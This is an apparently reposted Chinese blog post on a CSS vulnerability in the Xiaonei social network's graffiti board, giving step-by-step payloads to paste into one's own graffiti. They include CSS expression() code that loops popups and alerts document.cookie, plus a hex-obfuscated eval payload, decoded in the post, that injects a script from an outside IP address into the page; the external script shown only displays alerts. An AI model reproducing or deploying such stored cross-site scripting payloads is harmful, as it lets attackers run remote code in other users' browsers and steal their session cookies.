又见css漏洞！校内网css代码引发的漏洞

<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script><script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

由涂鸦板css引来的漏洞

1、expression

如下语句加入到自己的涂鸦里去 ，
<DIV STYLE="width: expression(window.open('http://www.baidu.com'));">
这句会弹出窗口，死循环
<DIV STYLE="width: expression(alert(document.cookie));">
这句弹出你的cookie

2、behavior

将页面中元素绑定行为。

实例转：

1. 在你的 校内网 涂鸦版里插入以下代码：

<span id=spantarget></span>
<span id="jsInject" style="color:expression(eval(' //x74//x72//x79//x7B//x65//x73//x74//x2B//x2B//x3B//x7D//x63//x61//x74//x63//x68//x28//x65//x29//x7B//x65//x73//x74//x3D//x30//x3B//x7D//x3B//x69//x66//x20//x28//x65//x73//x74//x3C//x31//x29//x7B//x76//x61//x72//x20//x6F//x4A//x53//x3D//x64//x6F//x63//x75//x6D//x65//x6E//x74//x2E//x63//x72//x65//x61//x74//x65//x45//x6C//x65//x6D//x65//x6E//x74//x28//x27//x73//x63//x72//x69//x70//x74//x27//x29//x3B//x6F//x4A//x53//x2E//x73//x72//x63//x3D//x27//x68//x74//x74//x70//x3A//x2F//x2F//x32//x30//x32//x2E//x31//x31//x35//x2E//x32//x32//x2E//x31//x34//x31//x2F//x65//x73//x74//x2F//x78//x69//x61//x6F//x6E//x65//x69//x2E//x6A//x73//x27//x3B//x73//x70//x61//x6E//x74//x61//x72//x67//x65//x74//x2E//x61//x70//x70//x65//x6E//x64//x43//x68//x69//x6C//x64//x28//x6F//x4A//x53//x29//x3B//x7D ') )"></span>

 

其中转义字符为：

try{est++;}catch(e){est=0;};if (est<1){var oJS=document.createElement('script');oJS.src='http://202.115.22.141/est/xiaonei.js';spantarget.appendChild(oJS);}

2. 用到的外部javascript:

alert('External Javascript loaded!');
jsInject.cssText="";
alert('Expression stoped');

 
 关键字：校内网css代码  漏洞

<script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script><script type="text/javascript"> </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>